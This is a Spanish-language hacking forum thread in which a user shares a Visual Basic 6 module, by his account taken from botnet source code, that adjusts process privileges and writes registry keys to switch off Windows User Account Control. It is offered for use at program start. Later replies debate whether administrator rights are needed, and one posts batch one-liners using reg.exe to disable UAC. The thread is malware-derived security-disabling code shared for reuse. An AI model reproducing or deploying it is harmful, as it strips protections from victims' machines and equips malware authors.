Página 1 de 1

[Modulo] Fuck UAC

Publicado: 29 Nov 2012, 15:59
por Scorpio
Les dejo un modulo que tengo ya de hace algun tiempo, ya que ahora a muchos les dio por desactivar el UAC.
El modulo simplemente lo desactiva, pero para eso tiene que tener permisos de Administrador (Manifest )

Código: Seleccionar todo

Private Const KEY_CREATE_LINK = &H20&
Private Const READ_CONTROL = &H20000
Private Const WRITE_DAC = &H40000
Private Const WRITE_OWNER = &H80000
Private Const SYNCHRONIZE = &H100000

Private Const STANDARD_RIGHTS_REQUIRED = &HF0000
Private Const STANDARD_RIGHTS_READ = READ_CONTROL
Private Const STANDARD_RIGHTS_WRITE = READ_CONTROL
Private Const STANDARD_RIGHTS_EXECUTE = READ_CONTROL
Private Const STANDARD_RIGHTS_ALL = &H1F0000

Private Const KEY_WRITE = STANDARD_RIGHTS_WRITE Or &H2& Or &H4&
Private Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or &H1& Or &H2& Or &H4& Or &H8& Or &H10& Or KEY_CREATE_LINK) And (Not SYNCHRONIZE))

Public Enum hKeys
HKEY_CURRENT_USER = &H80000001
HKEY_LOCAL_MACHINE = &H80000002
End Enum

Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByRef lpData As Long, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPriv As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Private Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As Any, ByVal lpName As String, lpLuid As LUID) As Long
Private Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long

Private Type LUID
lowpart As Long
highpart As Long
End Type

Private Type LUID_AND_ATTRIBUTES
pLuid As LUID
Attributes As Long
End Type

Private Type TOKEN_PRIVILEGES
PrivilegeCount As Long
Privileges As LUID_AND_ATTRIBUTES
End Type
 
Function UAC_Disabler()
    If Enable_Privileges("SeBackupPrivilege") = True Then ' // If we get Privileges for Modify Registry
        Call Write_KEY(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Security Center", "UACDisableNotify", "0") ' Disable UAC Promp Message
        Call Write_KEY(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "EnableLUA", "0") ' Disable UAC
    End If
End Function

Function Enable_Privileges(sName As String) As Boolean
    Dim lRet As Long, lToken As Long, sLen As Long, sUID As LUID, Priv_Token As TOKEN_PRIVILEGES, Prev_Token As TOKEN_PRIVILEGES
    
    lRet = OpenProcessToken(GetCurrentProcess(), &H20 Or &H8&, lToken)
    If lRet = 0 Then Exit Function
     
    lRet = LookupPrivilegeValue(0&, sName, sUID)
    If lRet = 0 Then Exit Function
     
    With Priv_Token
                            .PrivilegeCount = 1
                            .Privileges.Attributes = &H2
                            .Privileges.pLuid = sUID
    End With
       
    Enable_Privileges = (AdjustTokenPrivileges(lToken, False, Priv_Token, Len(Prev_Token), Prev_Token, sLen) <> 0)
End Function

Function Write_KEY(hKey As hKeys, hSubKey As String, sNombre As String, sValue As Long)
    If RegOpenKeyEx(hKey, hSubKey, 0&, KEY_WRITE, mainKey) = 0& Then
        If (RegSetValueExA(mainKey, sNombre, 0, 4, sValue, 4) = 0&) Then
            RegCloseKey mainKey
        End If
    End If
End Function
Para usarlo simplemente llamenlo en el Form_Load:

Código: Seleccionar todo

Call UAC_Disabler

Re: [Modulo] Fuck UAC

Publicado: 29 Nov 2012, 21:37
por valium7
DIOS esto es ORO jajajaja bueno oro platino y diamita donde lo conseguiste man¿?

Re: [Modulo] Fuck UAC

Publicado: 29 Nov 2012, 21:58
por Scorpio
Se lo saque a una botnet y lo limpie un poco hace ya algun time, no recuerdo cual era, por que tengo varios sources

Re: [Modulo] Fuck UAC

Publicado: 13 Dic 2012, 22:08
por Pielcelestial
Gracias por el aporte.

Yo tengo una funcion de una solo linea que mata la uac xD

Re: [Modulo] Fuck UAC

Publicado: 14 Dic 2012, 00:17
por Fakedo0r
El manifest no te da permisos para poder acceder a HLKM y desactivar el UAC, únicamente evita el dialogo aquel típico de seguridad, por lo tanto ese código es inservible si no disponemos de permisos root.

@Pielcelestial, seria interesante que aportaras ese código de una linea que te permite "matar" el UAC.

Saludo.

Re: [Modulo] Fuck UAC

Publicado: 15 Dic 2012, 16:39
por adwind
Fakedo0r escribió:El manifest no te da permisos para poder acceder a HLKM y desactivar el UAC, únicamente evita el dialogo aquel típico de seguridad, por lo tanto ese código es inservible si no disponemos de permisos root.

@Pielcelestial, seria interesante que aportaras ese código de una linea que te permite "matar" el UAC.

Saludo.
si no colocamos el manifest el exe se ejecutara con permiso de usuario pero con el manifest saltara el uac pidiendo permiso de administrador que es lo que necesita para que el exe toque hklm

Re: [Modulo] Fuck UAC

Publicado: 15 Dic 2012, 19:33
por Fakedo0r
adwind escribió:
Fakedo0r escribió:El manifest no te da permisos para poder acceder a HLKM y desactivar el UAC, únicamente evita el dialogo aquel típico de seguridad, por lo tanto ese código es inservible si no disponemos de permisos root.

@Pielcelestial, seria interesante que aportaras ese código de una linea que te permite "matar" el UAC.

Saludo.
si no colocamos el manifest el exe se ejecutara con permiso de usuario pero con el manifest saltara el uac pidiendo permiso de administrador que es lo que necesita para que el exe toque hklm
Yo se como funciona el manifest y repito lo dicho anteriormente, el manifest NO DA PERMISOS, simplemente le indica al SO de como manejar el programa que se va ejecutar. En definitiva, si el usuario no acepta el dialogo de UAC que le salto, no se elevarán los permisos, por lo tanto en este caso no se podrá modificar el HLKM y mucho menos desactivar el UAC.

Saludos.

Re: [Modulo] Fuck UAC

Publicado: 15 Dic 2012, 20:14
por Pink
Fakedo0r escribió:
adwind escribió:
Fakedo0r escribió:El manifest no te da permisos para poder acceder a HLKM y desactivar el UAC, únicamente evita el dialogo aquel típico de seguridad, por lo tanto ese código es inservible si no disponemos de permisos root.

@Pielcelestial, seria interesante que aportaras ese código de una linea que te permite "matar" el UAC.

Saludo.
si no colocamos el manifest el exe se ejecutara con permiso de usuario pero con el manifest saltara el uac pidiendo permiso de administrador que es lo que necesita para que el exe toque hklm
Yo se como funciona el manifest y repito lo dicho anteriormente, el manifest NO DA PERMISOS, simplemente le indica al SO de como manejar el programa que se va ejecutar. En definitiva, si el usuario no acepta el dialogo de UAC que le salto, no se elevarán los permisos, por lo tanto en este caso no se podrá modificar el HLKM y mucho menos desactivar el UAC.

Saludos.

Exacto mas claro no puede ser.

Re: [Modulo] Fuck UAC

Publicado: 19 Feb 2013, 11:42
por warner2010
Al final pielcelestial nunca se ha decidido por publicar otro método Para ahorrarme el tiempo en crear otro tema y siguiendo el mismo hilo claro, aquí aporto lo que supuestamente dice pielcelestial, ustedes pueden juzgar de ser cierto o no el criterio.

Disable UAC.bat

Código: Seleccionar todo

C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
Enable. UAC.bat

Código: Seleccionar todo

C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 1 /f
[Enlace externo eliminado para invitados]

Y para los vagos aquí [Enlace externo eliminado para invitados]

Re: [Modulo] Fuck UAC

Publicado: 19 Feb 2013, 13:23
por Pink
@warner2010 Pero para eso también necesitas permisos de administrador así que es lo mismo de arriba.

saludos

Re: [Modulo] Fuck UAC

Publicado: 28 Feb 2013, 06:11
por adwind
Pink escribió:@warner2010 Pero para eso también necesitas permisos de administrador así que es lo mismo de arriba.

saludos

[Enlace externo eliminado para invitados]

Este soft en realidad Bypasea el UAC funciona hasta en Windows 8 64 bits XD

Re: [Modulo] Fuck UAC

Publicado: 01 Mar 2013, 22:19
por Pink
adwind escribió:
Pink escribió:@warner2010 Pero para eso también necesitas permisos de administrador así que es lo mismo de arriba.

saludos

[Enlace externo eliminado para invitados]

Este soft en realidad Bypasea el UAC funciona hasta en Windows 8 64 bits XD

gracias adwind voy a darle una miradita. saludos